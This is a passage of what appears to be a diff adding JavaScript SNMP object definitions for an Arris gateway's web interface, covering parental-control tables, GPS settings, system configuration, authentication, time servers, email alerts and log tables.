+FWParentalControls.KeywordTableFreeIdx= new Scalar("KeywordTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.9",2); +FWParentalControls.BlackListFreeIdx= new Scalar("BlackListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.11",2); +FWParentalControls.WhiteListFreeIdx= new Scalar("WhiteListFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.13",2); +FWParentalControls.TrustedDeviceFreeIdx= new Scalar("TrustedDeviceFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.4.20.15",2); +FWParentalControls.EnableParentalCont= new Scalar("EnableParentalCont","1.3.6.1.4.1.4115.1.20.1.1.4.20.17",2); +FWParentalControls.ManagedSitesEnabled= new Scalar("ManagedSitesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.18",2); +FWParentalControls.ManagedServicesEnabled= new Scalar("ManagedServicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.19",2); +FWParentalControls.ManagedDevicesEnabled= new Scalar("ManagedDevicesEnabled","1.3.6.1.4.1.4115.1.20.1.1.4.20.20",2); +var arKeywordCount=FWParentalControls.KeywordCount; +var arKeywordClear=FWParentalControls.KeywordClear; +var arBlackListCount=FWParentalControls.BlackListCount; +var arBlackListClear=FWParentalControls.BlackListClear; +var arWhiteListCount=FWParentalControls.WhiteListCount; +var arWhiteListClear=FWParentalControls.WhiteListClear; +var arTrustedDeviceCount=FWParentalControls.TrustedDeviceCount; +var arTrustedDeviceClear=FWParentalControls.TrustedDeviceClear; +var arKeywordTableFreeIdx=FWParentalControls.KeywordTableFreeIdx; +var arBlackListFreeIdx=FWParentalControls.BlackListFreeIdx; +var arWhiteListFreeIdx=FWParentalControls.WhiteListFreeIdx; +var arTrustedDeviceFreeIdx=FWParentalControls.TrustedDeviceFreeIdx; +var arEnableParentalCont=FWParentalControls.EnableParentalCont; +var arManagedSitesEnabled=FWParentalControls.ManagedSitesEnabled; +var arManagedServicesEnabled=FWParentalControls.ManagedServicesEnabled; +var arManagedDevicesEnabled=FWParentalControls.ManagedDevicesEnabled; + +var KeywordBlkTable = new Table("KeywordBlkTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.10"); +KeywordBlkTable.KeywordBlkIndex = new Column("KeywordBlkIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.1",2); +KeywordBlkTable.KeywordBlkWord = new Column("KeywordBlkWord","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.2",4); +KeywordBlkTable.KeywordBlkTOD = new Column("KeywordBlkTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.3",2); +KeywordBlkTable.KeywordBlkStatus = new Column("KeywordBlkStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.4",2); +KeywordBlkTable.KeywordBlkStartMin = new Column("KeywordBlkStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.5",2); +KeywordBlkTable.KeywordBlkEndMin = new Column("KeywordBlkEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.10.1.6",2); +var arKeywordBlkIndex=KeywordBlkTable.KeywordBlkIndex; +var arKeywordBlkWord=KeywordBlkTable.KeywordBlkWord; +var arKeywordBlkTOD=KeywordBlkTable.KeywordBlkTOD; +var arKeywordBlkStatus=KeywordBlkTable.KeywordBlkStatus; +var arKeywordBlkStartMin=KeywordBlkTable.KeywordBlkStartMin; +var arKeywordBlkEndMin=KeywordBlkTable.KeywordBlkEndMin; + +var BlackListTable = new Table("BlackListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.12"); +BlackListTable.BlackListIndex = new Column("BlackListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.1",2); +BlackListTable.BlackListDomain = new Column("BlackListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.2",4); +BlackListTable.BlackListTOD = new Column("BlackListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.3",2); +BlackListTable.BlackListStatus = new Column("BlackListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.4",2); +BlackListTable.BlackListStartMin = new Column("BlackListStartMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.5",2); +BlackListTable.BlackListEndMin = new Column("BlackListEndMin","1.3.6.1.4.1.4115.1.20.1.1.4.20.12.1.6",2); +var arBlackListIndex=BlackListTable.BlackListIndex; +var arBlackListDomain=BlackListTable.BlackListDomain; +var arBlackListTOD=BlackListTable.BlackListTOD; +var arBlackListStatus=BlackListTable.BlackListStatus; +var arBlackListStartMin=BlackListTable.BlackListStartMin; +var arBlackListEndMin=BlackListTable.BlackListEndMin; + +var WhiteListTable = new Table("WhiteListTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.14"); +WhiteListTable.WhiteListIndex = new Column("WhiteListIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.1",2); +WhiteListTable.WhiteListDomain = new Column("WhiteListDomain","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.2",4); +WhiteListTable.WhiteListTOD = new Column("WhiteListTOD","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.3",2); +WhiteListTable.WhiteListStatus = new Column("WhiteListStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.14.1.4",2); +var arWhiteListIndex=WhiteListTable.WhiteListIndex; +var arWhiteListDomain=WhiteListTable.WhiteListDomain; +var arWhiteListTOD=WhiteListTable.WhiteListTOD; +var arWhiteListStatus=WhiteListTable.WhiteListStatus; + +var TrustedDeviceTable = new Table("TrustedDeviceTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.16"); +TrustedDeviceTable.TrustedDeviceIndex = new Column("TrustedDeviceIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.1",2); +TrustedDeviceTable.TrustedDeviceMAC = new Column("TrustedDeviceMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.2",4, 1); +TrustedDeviceTable.TrustedDeviceStatus = new Column("TrustedDeviceStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.3",2); +TrustedDeviceTable.TrustedDeviceName = new Column("TrustedDeviceName","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.4",4); +TrustedDeviceTable.TrustedDeviceAddrType = new Column("TrustedDeviceAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.5",2); +TrustedDeviceTable.TrustedDeviceAddr = new Column("TrustedDeviceAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.16.1.6",4, 1); +var arTrustedDeviceIndex=TrustedDeviceTable.TrustedDeviceIndex; +var arTrustedDeviceMAC=TrustedDeviceTable.TrustedDeviceMAC; +var arTrustedDeviceStatus=TrustedDeviceTable.TrustedDeviceStatus; +var arTrustedDeviceName=TrustedDeviceTable.TrustedDeviceName; +var arTrustedDeviceAddrType=TrustedDeviceTable.TrustedDeviceAddrType; +var arTrustedDeviceAddr=TrustedDeviceTable.TrustedDeviceAddr; + +var TrustedDeviceManagedServicesTable = new Table("TrustedDeviceManagedServicesTable", "1.3.6.1.4.1.4115.1.20.1.1.4.20.21"); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex = new Column("TrustedDeviceManagedServicesIndex","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.1",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC = new Column("TrustedDeviceManagedServicesMAC","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.2",4, 1); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus = new Column("TrustedDeviceManagedServicesStatus","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.3",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName = new Column("TrustedDeviceManagedServicesName","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.4",4); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType = new Column("TrustedDeviceManagedServicesAddrType","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.5",2); +TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr = new Column("TrustedDeviceManagedServicesAddr","1.3.6.1.4.1.4115.1.20.1.1.4.20.21.1.6",4, 1); +var arTrustedDeviceManagedServicesIndex=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesIndex; +var arTrustedDeviceManagedServicesMAC=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesMAC; +var arTrustedDeviceManagedServicesStatus=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesStatus; +var arTrustedDeviceManagedServicesName=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesName; +var arTrustedDeviceManagedServicesAddrType=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddrType; +var arTrustedDeviceManagedServicesAddr=TrustedDeviceManagedServicesTable.TrustedDeviceManagedServicesAddr; + +// OG1600 GPS support +var GpsCfg = new Container("GpsCfg", "1.3.6.1.4.1.4115.12"); +GpsCfg.GpsScanOnBoot= new Scalar("GpsScanOnBoot","1.3.6.1.4.1.4115.12.1",2); +GpsCfg.GpsScanPeriodically= new Scalar("GpsScanPeriodically","1.3.6.1.4.1.4115.12.2",2); +GpsCfg.GpsPeriodicInterval= new Scalar("GpsPeriodicInterval","1.3.6.1.4.1.4115.12.3",66); +GpsCfg.GpsPeriodicTime= new Scalar("GpsPeriodicTime","1.3.6.1.4.1.4115.12.4",4); +GpsCfg.GpsPowerDownAfterSuccessfulScan= new Scalar("GpsPowerDownAfterSuccessfulScan","1.3.6.1.4.1.4115.12.5",2); +GpsCfg.GpsScanTimeout= new Scalar("GpsScanTimeout","1.3.6.1.4.1.4115.12.6",66); +GpsCfg.GpsScanStatus= new Scalar("GpsScanStatus","1.3.6.1.4.1.4115.12.7",66); +GpsCfg.GpsErrorDetails= new Scalar("GpsErrorDetails","1.3.6.1.4.1.4115.12.8",4); +GpsCfg.GpsLastScanTime= new Scalar("GpsLastScanTime","1.3.6.1.4.1.4115.12.9",4); +GpsCfg.GpsLastSuccessfulScanTime= new Scalar("GpsLastSuccessfulScanTime","1.3.6.1.4.1.4115.12.10",4); +GpsCfg.GpsLockedLatitude= new Scalar("GpsLockedLatitude","1.3.6.1.4.1.4115.12.11",4); +GpsCfg.GpsLockedLongitude= new Scalar("GpsLockedLongitude","1.3.6.1.4.1.4115.12.12",4); +GpsCfg.GpsNumberOfSatellites= new Scalar("GpsNumberOfSatellites","1.3.6.1.4.1.4115.12.13",66); +GpsCfg.GpsReset= new Scalar("GpsReset","1.3.6.1.4.1.4115.12.14",2); +GpsCfg.GpsSuccessfulScanSinceBootup= new Scalar("GpsSuccessfulScanSinceBootup","1.3.6.1.4.1.4115.12.15",2); + +var arGpsScanOnBoot=GpsCfg.GpsScanOnBoot; +var arGpsScanPeriodically=GpsCfg.GpsScanPeriodically; +var arGpsPeriodicInterval=GpsCfg.GpsPeriodicInterval; +var arGpsPeriodicTime=GpsCfg.GpsPeriodicTime; +var arGpsPowerDownAfterSuccessfulScan=GpsCfg.GpsPowerDownAfterSuccessfulScan; +var arGpsScanTimeout=GpsCfg.GpsScanTimeout; +var arGpsScanStatus=GpsCfg.GpsScanStatus; +var arGpsErrorDetails=GpsCfg.GpsErrorDetails; +var arGpsLastScanTime=GpsCfg.GpsLastScanTime; +var arGpsLastSuccessfulScanTime=GpsCfg.GpsLastSuccessfulScanTime; +var arGpsLockedLatitude=GpsCfg.GpsLockedLatitude; +var arGpsLockedLongitude=GpsCfg.GpsLockedLongitude; +var arGpsNumberOfSatellites=GpsCfg.GpsNumberOfSatellites; +var arGpsReset=GpsCfg.GpsReset; +var arGpsSuccessfulScanSinceBootup=GpsCfg.GpsSuccessfulScanSinceBootup; + +var SysCfg = new Container("SysCfg", "1.3.6.1.4.1.4115.1.20.1.1.5"); +SysCfg.AdminPassword= new Scalar("AdminPassword","1.3.6.1.4.1.4115.1.20.1.1.5.1",4); +SysCfg.AdminTimeout= new Scalar("AdminTimeout","1.3.6.1.4.1.4115.1.20.1.1.5.2",66); +SysCfg.TimeZoneUTCOffset= new Scalar("TimeZoneUTCOffset","1.3.6.1.4.1.4115.1.20.1.1.5.3",2); +SysCfg.Reboot= new Scalar("Reboot","1.3.6.1.4.1.4115.1.20.1.1.5.4",2); +SysCfg.Defaults= new Scalar("Defaults","1.3.6.1.4.1.4115.1.20.1.1.5.5",2); +SysCfg.Language= new Scalar("Language","1.3.6.1.4.1.4115.1.20.1.1.5.6",4); +SysCfg.Name= new Scalar("Name","1.3.6.1.4.1.4115.1.20.1.1.5.7",4); +SysCfg.SerialNumber= new Scalar("SerialNumber","1.3.6.1.4.1.4115.1.20.1.1.5.8",4); +SysCfg.BootCodeVersion= new Scalar("BootCodeVersion","1.3.6.1.4.1.4115.1.20.1.1.5.9",4); +SysCfg.HardwareVersion= new Scalar("HardwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.10",4); +SysCfg.FirmwareVersion= new Scalar("FirmwareVersion","1.3.6.1.4.1.4115.1.20.1.1.5.11",4); +SysCfg.LogLevel= new Scalar("LogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.12",2); +SysCfg.CustomSettings= new Scalar("CustomSettings","1.3.6.1.4.1.4115.1.20.1.1.5.13",4,1); +SysCfg.CustomID= new Scalar("CustomID","1.3.6.1.4.1.4115.1.20.1.1.5.14",2); +SysCfg.CurrentTime= new Scalar("CurrentTime","1.3.6.1.4.1.4115.1.20.1.1.5.15",4,1); +SysCfg.TACACSAddr= new Scalar("TACACSAddr","1.3.6.1.4.1.4115.1.20.1.1.5.20",4,1); +SysCfg.TACACSPort= new Scalar("TACACSPort","1.3.6.1.4.1.4115.1.20.1.1.5.21",2); +SysCfg.TACACSSecretKey= new Scalar("TACACSSecretKey","1.3.6.1.4.1.4115.1.20.1.1.5.22",4,1); +SysCfg.XmlProvisioningFile= new Scalar("XmlProvisioningFile","1.3.6.1.4.1.4115.1.20.1.1.5.23",4); +SysCfg.XmlProvisioningStatus= new Scalar("XmlProvisioningStatus","1.3.6.1.4.1.4115.1.20.1.1.5.24",2); +SysCfg.BlockNonArrisDevices= new Scalar("BlockNonArrisDevices","1.3.6.1.4.1.4115.1.20.1.1.5.26",2); +SysCfg.DHCPLogLevel= new Scalar("DHCPLogLevel","1.3.6.1.4.1.4115.1.20.1.1.5.27",2); +SysCfg.TechnicianName= new Scalar("TechnicianName","1.3.6.1.4.1.4115.1.20.1.1.5.28",4); +SysCfg.EnableLanEtherPrivateWanBlock= new Scalar("EnableLanEtherPrivateWanBlock","1.3.6.1.4.1.4115.1.20.1.1.5.29",2); +SysCfg.TACACSIPAddrType= new Scalar("TACACSIPAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.30",2); +SysCfg.TACACSIPAddr= new Scalar("TACACSIPAddr","1.3.6.1.4.1.4115.1.20.1.1.5.31",4,1); +SysCfg.EnabledInterfaces= new Scalar("EnabledInterfaces","1.3.6.1.4.1.4115.1.20.1.1.5.32",2); +SysCfg.EnabledInterfacesString= new Scalar("EnabledInterfacesString","1.3.6.1.4.1.4115.1.20.1.1.5.33",4); +SysCfg.InboundTrafficLogEnable= new Scalar("InboundTrafficLogEnable","1.3.6.1.4.1.4115.1.20.1.1.5.34",2); +SysCfg.NATPBypassEnable= new Scalar("NATPBypassEnable","1.3.6.1.4.1.4115.1.20.1.1.5.35",2); +SysCfg.NATDebug= new Scalar("NATDebug","1.3.6.1.4.1.4115.1.20.1.1.5.36",2); +SysCfg.DisableResetButton= new Scalar("DisableResetButton","1.3.6.1.4.1.4115.1.20.1.1.5.37",2); +SysCfg.DHCPOption43Sub2= new Scalar("DHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.38",4,1); +SysCfg.DHCPOption43Sub3= new Scalar("DHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.39",4,1); +SysCfg.ESTBDHCPOption43Sub2= new Scalar("ESTBDHCPOption43Sub2","1.3.6.1.4.1.4115.1.20.1.1.5.40",4,1); +SysCfg.ESTBDHCPOption43Sub3= new Scalar("ESTBDHCPOption43Sub3","1.3.6.1.4.1.4115.1.20.1.1.5.41",4,1); +SysCfg.ClientTrackingEnable= new Scalar("ClientTrackingEnable","1.3.6.1.4.1.4115.1.20.1.1.5.43",2); +SysCfg.SystemFlags= new Scalar("SystemFlags","1.3.6.1.4.1.4115.1.20.1.1.5.44",2); +SysCfg.CpuSpeed= new Scalar("CpuSpeed","1.3.6.1.4.1.4115.1.20.1.1.5.64",2); +SysCfg.FlashSize= new Scalar("FlashSize","1.3.6.1.4.1.4115.1.20.1.1.5.52",2); +SysCfg.RamSize= new Scalar("RamSize","1.3.6.1.4.1.4115.1.20.1.1.5.53",2); +SysCfg.SaveCurrentConfigFile= new Scalar("SaveCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.57",2); +SysCfg.RestoreCurrentConfigFile= new Scalar("RestoreCurrentConfigFile","1.3.6.1.4.1.4115.1.20.1.1.5.58",2); +SysCfg.FlashAvailSize= new Scalar("FlashAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.60",2); +SysCfg.RamAvailSize= new Scalar("RamAvailSize","1.3.6.1.4.1.4115.1.20.1.1.5.61",2); +var arAdminPassword=SysCfg.AdminPassword; +var arAdminTimeout=SysCfg.AdminTimeout; +var arTimeZoneUTCOffset=SysCfg.TimeZoneUTCOffset; +var arReboot=SysCfg.Reboot; +var arDefaults=SysCfg.Defaults; +var arLanguage=SysCfg.Language; +var arName=SysCfg.Name; +var arSerialNumber=SysCfg.SerialNumber; +var arBootCodeVersion=SysCfg.BootCodeVersion; +var arHardwareVersion=SysCfg.HardwareVersion; +var arFirmwareVersion=SysCfg.FirmwareVersion; +var arLogLevel=SysCfg.LogLevel; +var arCustomSettings=SysCfg.CustomSettings; +var arCustomID=SysCfg.CustomID; +var arCurrentTime=SysCfg.CurrentTime; +var arTACACSAddr=SysCfg.TACACSAddr; +var arTACACSPort=SysCfg.TACACSPort; +var arTACACSSecretKey=SysCfg.TACACSSecretKey; +var arXmlProvisioningFile=SysCfg.XmlProvisioningFile; +var arXmlProvisioningStatus=SysCfg.XmlProvisioningStatus; +var arBlockNonArrisDevices=SysCfg.BlockNonArrisDevices; +var arDHCPLogLevel=SysCfg.DHCPLogLevel; +var arTechnicianName=SysCfg.TechnicianName; +var arEnableLanEtherPrivateWanBlock=SysCfg.EnableLanEtherPrivateWanBlock; +var arTACACSIPAddrType=SysCfg.TACACSIPAddrType; +var arTACACSIPAddr=SysCfg.TACACSIPAddr; +var arEnabledInterfaces=SysCfg.EnabledInterfaces; +var arEnabledInterfacesString=SysCfg.EnabledInterfacesString; +var arInboundTrafficLogEnable=SysCfg.InboundTrafficLogEnable; +var arNATPBypassEnable=SysCfg.NATPBypassEnable; +var arNATDebug=SysCfg.NATDebug; +var arDisableResetButton=SysCfg.DisableResetButton; +var arDHCPOption43Sub2=SysCfg.DHCPOption43Sub2; +var arDHCPOption43Sub3=SysCfg.DHCPOption43Sub3; +var arESTBDHCPOption43Sub2=SysCfg.ESTBDHCPOption43Sub2; +var arESTBDHCPOption43Sub3=SysCfg.ESTBDHCPOption43Sub3; +var arClientTrackingEnable=SysCfg.ClientTrackingEnable; +var arSystemFlags=SysCfg.SystemFlags; +var arCpuSpeed=SysCfg.CpuSpeed; +var arFlashSize=SysCfg.FlashSize; +var arRamSize=SysCfg.RamSize; +var arSaveCurrentConfigFile=SysCfg.SaveCurrentConfigFile; +var arRestoreCurrentConfigFile=SysCfg.RestoreCurrentConfigFile; +var arFlashAvailSize=SysCfg.FlashAvailSize; +var arRamAvailSize=SysCfg.RamAvailSize; + +var AuthTable = new Table("AuthTable", "1.3.6.1.4.1.4115.1.20.1.1.5.16"); +AuthTable.AuthIndex = new Column("AuthIndex","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.1",66); +AuthTable.AuthUserName = new Column("AuthUserName","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.2",4); +AuthTable.AuthPassword = new Column("AuthPassword","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.3",4); +AuthTable.AuthType = new Column("AuthType","1.3.6.1.4.1.4115.1.20.1.1.5.16.1.4",4,1); +var arAuthIndex=AuthTable.AuthIndex; +var arAuthUserName=AuthTable.AuthUserName; +var arAuthPassword=AuthTable.AuthPassword; +var arAuthType=AuthTable.AuthType; + +var SNTPSettings = new Container("SNTPSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.17"); +SNTPSettings.EnableSNTP= new Scalar("EnableSNTP","1.3.6.1.4.1.4115.1.20.1.1.5.17.1",2); +SNTPSettings.ApplySNTPSettings= new Scalar("ApplySNTPSettings","1.3.6.1.4.1.4115.1.20.1.1.5.17.2",2); +SNTPSettings.SNTPTableFreeIdx= new Scalar("SNTPTableFreeIdx","1.3.6.1.4.1.4115.1.20.1.1.5.17.3",2); +var arEnableSNTP=SNTPSettings.EnableSNTP; +var arApplySNTPSettings=SNTPSettings.ApplySNTPSettings; +var arSNTPTableFreeIdx=SNTPSettings.SNTPTableFreeIdx; + +var SNTPServerTable = new Table("SNTPServerTable", "1.3.6.1.4.1.4115.1.20.1.1.5.17.4"); +SNTPServerTable.SNTPServerIndex = new Column("SNTPServerIndex","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.1",2); +SNTPServerTable.SNTPServerAddrType = new Column("SNTPServerAddrType","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.2",2); +SNTPServerTable.SNTPServerAddr = new Column("SNTPServerAddr","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.3",4,1); +SNTPServerTable.SNTPServerName = new Column("SNTPServerName","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.4",4); +SNTPServerTable.SNTPServerStatus = new Column("SNTPServerStatus","1.3.6.1.4.1.4115.1.20.1.1.5.17.4.1.5",2); +var arSNTPServerIndex=SNTPServerTable.SNTPServerIndex; +var arSNTPServerAddrType=SNTPServerTable.SNTPServerAddrType; +var arSNTPServerAddr=SNTPServerTable.SNTPServerAddr; +var arSNTPServerName=SNTPServerTable.SNTPServerName; +var arSNTPServerStatus=SNTPServerTable.SNTPServerStatus; + +var EmailSettings = new Container("EmailSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.18"); +EmailSettings.EmailServerName= new Scalar("EmailServerName","1.3.6.1.4.1.4115.1.20.1.1.5.18.1",4); +EmailSettings.EmailServerUser= new Scalar("EmailServerUser","1.3.6.1.4.1.4115.1.20.1.1.5.18.2",4); +EmailSettings.EmailServerPW= new Scalar("EmailServerPW","1.3.6.1.4.1.4115.1.20.1.1.5.18.3",4); +EmailSettings.EmailAddress= new Scalar("EmailAddress","1.3.6.1.4.1.4115.1.20.1.1.5.18.4",4,1); +EmailSettings.EnableLogEmail= new Scalar("EnableLogEmail","1.3.6.1.4.1.4115.1.20.1.1.5.18.5",2); +EmailSettings.EmailApplySettings= new Scalar("EmailApplySettings","1.3.6.1.4.1.4115.1.20.1.1.5.18.6",2); +// scm x2 lines +EmailSettings.EmailSenderAddress = new Scalar("EmailSenderAddress", "1.3.6.1.4.1.4115.1.20.1.1.5.18.8",4); +var arEmailSenderAddress =EmailSettings.EmailSenderAddress ; + +var arEmailServerName=EmailSettings.EmailServerName; +var arEmailServerUser=EmailSettings.EmailServerUser; +var arEmailServerPW=EmailSettings.EmailServerPW; +var arEmailAddress=EmailSettings.EmailAddress; +var arEnableLogEmail=EmailSettings.EnableLogEmail; +var arEmailApplySettings=EmailSettings.EmailApplySettings; + +// scm new container. +var EmailNotifys = new Container("EmailNotifys", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7"); +EmailNotifys.EmailNotifyTypeFW = new Scalar("EmailNotifyTypeFW", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.1",2); +EmailNotifys.EmailNotifyTypePC = new Scalar("EmailNotifyTypePC", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.2",2); +EmailNotifys.EmailNotifyTypeAlert = new Scalar("EmailNotifyTypeAlert", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.3",2); +EmailNotifys.EmailNotifyTypeWarning = new Scalar("EmailNotifyTypeWarning", "1.3.6.1.4.1.4115.1.20.1.1.5.18.7.4",2); +var arEmailNotifyTypeFW =EmailNotifys.EmailNotifyTypeFW ; +var arEmailNotifyTypePC =EmailNotifys.EmailNotifyTypePC ; +var arEmailNotifyTypeAlert =EmailNotifys.EmailNotifyTypeAlert ; +var arEmailNotifyTypeWarning =EmailNotifys.EmailNotifyTypeWarning ; + + +var LogSettings = new Container("LogSettings", "1.3.6.1.4.1.4115.1.20.1.1.5.19"); +LogSettings.ClearLogs= new Scalar("ClearLogs","1.3.6.1.4.1.4115.1.20.1.1.5.19.3",2); +LogSettings.ChangeLogFilter= new Scalar("ChangeLogFilter","1.3.6.1.4.1.4115.1.20.1.1.5.19.4",2); +var arClearLogs=LogSettings.ClearLogs; +var arChangeLogFilter=LogSettings.ChangeLogFilter; + +var UserLogs = new Container("UserLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1"); + +var FirewallLogTable = new Table("FirewallLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1"); +FirewallLogTable.FWLogIndex = new Column("FWLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.1",2); +FirewallLogTable.FWLogTime = new Column("FWLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.2",4, 1); +FirewallLogTable.FWLogInfo = new Column("FWLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.1.1.3",4); +var arFWLogIndex=FirewallLogTable.FWLogIndex; +var arFWLogTime=FirewallLogTable.FWLogTime; +var arFWLogInfo=FirewallLogTable.FWLogInfo; + +var ParentalContLogTable = new Table("ParentalContLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2"); +ParentalContLogTable.PCLogIndex = new Column("PCLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.1",2); +ParentalContLogTable.PCLogTime = new Column("PCLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.2",4, 1); +ParentalContLogTable.PCLogInfo = new Column("PCLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.3",4); +ParentalContLogTable.PCLogType = new Column("PCLogType","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.2.1.4",2); +var arPCLogIndex=ParentalContLogTable.PCLogIndex; +var arPCLogTime=ParentalContLogTable.PCLogTime; +var arPCLogInfo=ParentalContLogTable.PCLogInfo; +var arPCLogType=ParentalContLogTable.PCLogType; + +var ChangeLogTable = new Table("ChangeLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3"); +ChangeLogTable.ChangeLogIndex = new Column("ChangeLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.1",2); +ChangeLogTable.ChangeLogTime = new Column("ChangeLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.2",4,1); +ChangeLogTable.ChangeLogInfo = new Column("ChangeLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.3.1.3",4); +var arChangeLogIndex=ChangeLogTable.ChangeLogIndex; +var arChangeLogTime=ChangeLogTable.ChangeLogTime; +var arChangeLogInfo=ChangeLogTable.ChangeLogInfo; + +var DebugLogTable = new Table("DebugLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4"); +DebugLogTable.DebugLogIndex = new Column("DebugLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.1",2); +DebugLogTable.DebugLogTime = new Column("DebugLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.2",4,1); +DebugLogTable.DebugLogInfo = new Column("DebugLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.4.1.3",4); +var arDebugLogIndex=DebugLogTable.DebugLogIndex; +var arDebugLogTime=DebugLogTable.DebugLogTime; +var arDebugLogInfo=DebugLogTable.DebugLogInfo; + +var DHCPLogTable = new Table("DHCPLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5"); +DHCPLogTable.DHCPLogIndex = new Column("DHCPLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.1",2); +DHCPLogTable.DHCPLogTime = new Column("DHCPLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.2",4,1); +DHCPLogTable.DHCPLogInfo = new Column("DHCPLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.5.1.3",4); +var arDHCPLogIndex=DHCPLogTable.DHCPLogIndex; +var arDHCPLogTime=DHCPLogTable.DHCPLogTime; +var arDHCPLogInfo=DHCPLogTable.DHCPLogInfo; + +var LanClientLogTable = new Table("LanClientLogTable", "1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6"); +LanClientLogTable.LanClientLogIndex = new Column("LanClientLogIndex","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.1",2); +LanClientLogTable.LanClientLogTime = new Column("LanClientLogTime","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.2",4,1); +LanClientLogTable.LanClientLogInfo = new Column("LanClientLogInfo","1.3.6.1.4.1.4115.1.20.1.1.5.19.1.6.1.3",4); +var arLanClientLogIndex=LanClientLogTable.LanClientLogIndex; +var arLanClientLogTime=LanClientLogTable.LanClientLogTime; +var arLanClientLogInfo=LanClientLogTable.LanClientLogInfo; + +var MSOLogs = new Container("MSOLogs", "1.3.6.1.4.1.4115.1.20.1.1.5.19.2"); +MSOLogs.ClearMSOLogs= new 